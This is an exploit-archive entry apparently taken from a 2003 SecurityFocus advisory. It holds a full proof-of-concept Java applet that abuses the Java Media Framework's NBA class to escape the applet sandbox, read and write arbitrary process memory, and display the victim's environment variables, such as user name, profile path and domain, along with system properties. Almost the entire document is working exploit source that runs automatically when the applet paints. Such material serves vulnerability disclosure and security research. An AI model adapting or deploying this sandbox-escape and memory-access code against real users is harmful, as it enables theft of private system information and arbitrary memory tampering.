Sun JRE/SDK 1.x - Untrusted Applet Java Security Model Violation

source: https://www.securityfocus.com/bid/7824/info

It has been reported that the Sun Java Runtime Environment does not properly protect trusted java applets. Because of this, it may be possible for an attacker to use a malicious applet to gain access to sensitive information. 

/*
Proof-Of-Concept: Read Environment via vulnerability Java Media Framework
(2003) Marc Schoenefeld, www.illegalaccess.org

*/

import com.sun.media.NBA;
import java.applet.Applet;
import java.awt.Graphics;
import javax.swing.JOptionPane;
class NBAFactory {

		 		 public static String getEnv(String a,long from, long to) {
		 		 		 long pos = findMem(a,from,to);
		 		 		 String ret = "";
		 		 		 if (pos  != -1) {
		 		 		 		 long pos2 = pos+a.length();
		 		 		 		 ret = getString(pos2);
		 		 		 }
		 		 		 return ret;
		 		 }

		 		 public static String getString(long pos) {
		 		 		 int i = 0;
		 		 		 StringBuffer b = new StringBuffer();
		 		 		 char x = 0;
		 		 		 do {
		 		 		 		 x = (char) readMem(pos+i);
		 		 		 		 i++;
		 		 		 		 if (x != 0)
		 		 		 		 b.append(x);

		 		 		 } while (!(x == 0));
		 		 		 return b.toString();
		 		 }

		 		 public static long findMem(String a, long from , long to)  {
		 		 		 char[] ch = a.toCharArray();
		 		 		 for (long pos = from; pos < to ;pos++) {
//		 		 		 		 System.out.println(pos-from+":");
		 		 		 		 int i = 0;
		 		 		 		 int found = 0;
		 		 		 		 for (i = 0; i < ch.length; i++) {
		 		 		 		 		 char x = (char) readMem(pos+i);
//		 		 		 		 		 System.out.println(pos+":"+x);
		 		 		 		 		 if (x == ch[i]) {
		 		 		 		 		 		 found ++;
		 		 		 		 		 }
		 		 		 		 		 else
		 		 		 		 		    break;
		 		 		 		 }
		 		 		 		 if (found == ch.length) {
		 		 		 		 		 return pos;
		 		 		 		 }
		 		 		 }
		 		 		 return -1;
		 		 }

		 		 public static byte readMem(long i) {
		 		 		 byte[] by = new byte[1];
		 		 		 NBA searcher = new NBA(byte[].class,1);
		 		 		 long olddata = searcher.data;
		 		 		 searcher.data = i;
		 		 		 searcher.size = 1;
		 		 		 searcher.copyTo(by);
		 		 		 searcher.data = olddata; // keep the finalizer happy
		 		 		 return by[0];
		 		 }

		 		 public static void setMem(long i, char c) {
		 		 		 NBA b = new NBA(byte[].class,1);
		 		 		 long olddata = b.data;
		 		 		 b.data = i;
		 		 		 b.size = 1;
		 		 		 theBytes[c].copyTo(b);
		 		 		 b.data  = olddata; // keep the finalizer happy
		 		 }

		 		 public static void setMem(long i, byte by) {
		 		 		 setMem(i,(char) by);
		 		 }


		 		 public static void setMem(long i, int by) {
		 		 		 setMem(i,(char) by);
		 		 }


		 		 public static void setMem(long l, String s) {
		 		 		 char[] theChars = s.toCharArray();
		 		 		 NBA b = new NBA(byte[].class,1);
		 		 		 long olddata = b.data;
		 		 		 for (int i = 0 ; i  < theChars.length; i++) {
		 		 		 		 b.data = l+i;
		 		 		 		 b.size = 1;
		 		 		 		 theBytes[theChars[i]].copyTo(b);
		 		 		 }
		 		 		 b.data  = olddata; // keep the finalizer happy
		 		 }


		 		 private NBAFactory() {
		 		 }
		 		 public static NBA getByte(char i) {
		 		 		 return theBytes[i];
		 		 }

		 		 public static NBA getByte(int i) {
		 		 		 return theBytes[(char) i];
		 		 }

		 		 public static NBA[] getBytes() {
		 		 		 return theBytes;
		 		 }

		 		 static NBA[] theBytes = new NBA[256];
		 		 static {
		 		 		 for (char i = 0; i < 256; i++) {
//		 		 		 		 System.out.println((byte)i);
		 		 		 		 NBA n = search(i,0x6D340000L, 0x6D46A000L);
		 		 		 		 if (n!=null)
		 		 		 		 		 theBytes[i]= n;
		 		 		 		 else
		 		 		 		 		 System.exit(-1);
		 		 		 }
		 		 }

		 		 static NBA search (char theChar,long start, long end) {
		 		 		 NBA ret = null;
		 		 		 NBA searcher = new NBA(byte[].class,1);
		 		 		 byte[] ba = new byte[1];
		 		 		 for (long i = start; i < end ; i++) {
//		 		 		 		 byte b = readMem(i);
		 		 		 		 searcher.data = i;
		 		 		 		 searcher.copyTo(ba);
//		 		 		 		 if ( b == (byte)theChar) {
		 		 		 		 if ( ba[0] == (byte)theChar) {
		 		 		 		 		 return searcher;
		 		 		 		 }
		 		 		 }
		 		 		 return null;
		 		 }
		 }

public class ReadEnv extends Applet{

		 static NBA base = new NBA(byte[].class,18);  // what's the base pointer ?



		 public static void crash(Object o) {

		   System.out.println("Proof-Of-Concept: Read Environment via vulnerability Java Media Framework");

		   System.out.println("(2003) Marc Schoenefeld, www.illegalaccess.org");


		   NBA ret = new NBA(byte[].class,4);
		   long oldret = ret.data;

 		   System.out.println("Base of data: "+Long.toString(base.data,16));

		   String[] envs = {"USERDOMAIN","USERNAME","USERPROFILE","CLASSPATH",
		   		 "TEMP","COMSPEC","JAVA_HOME","Path","INCLUDE"};

		   for (int i = 0; i < envs.length; i++) {
		   		 String val = NBAFactory.getEnv(envs[i],base.data,base.data+32768);
		   		 if (!(o instanceof Applet)) {
		   		 		 System.out.println(envs[i]+":"+val);
		 		 }
		 		 else {
		 		 		 javax.swing.JOptionPane.showMessageDialog((java.applet.Applet) o,envs[i]+":"+val);
		 		 }
		   }


		   //NBAFactory.setMem(pos+10,'A');
		   try {
          System.out.println(System.getProperty("java.class.path"));
		   java.util.Properties p = System.getProperties();

		   p.list(System.out);
		   }
		   catch (java.security.AccessControlException e) {
		   		 System.out.println("Cannot read environment via getProperties:"+e);
		   }

		   //System.out.println(pos);

		   //long pos2 = NBAFactory.findMem("mixed",base.data,base.data+6614096);
		   //System.out.println(pos2);


		   //byte[] x11 = new byte[8];
		   //ret.copyTo(x11);
		   //for (int i = 0; i < x11.length; i++) {
		   //		 System.out.println(i+":"+x11[i]+(char)x11[i]);
		   //}



		   ret.data = oldret;

		   //ret.data = 0xffff8000;

		   //ret.finalize();
		   //ret.finalize();

		   //NBAFactory.setMem(ret.data-0xffff8000,33);


		   //ret.finalize();

		   /*b.data = base.data;
		   b.size = 16384;*/

		   /*byte[] ba3 = new byte[16384];
 		   b.copyTo(ba3);
		   for (int i = 0; i < ba3.length; i++) {
		   		 System.out.println(new Integer(i).toString(i,16)+":"+ba3[i]+(char)ba3[i]);
		   }*/

          /*b.data = olddata;*/



		 }

		 public static void main(String[] a) {
		 		 crash(null);
		 }

		 public void paint(Graphics g) {

		 		 if (init == 0) {
		 		 		 init=1;
		 		 		 crash(this);
		 		 }
		 }

		 static int init = 0;
}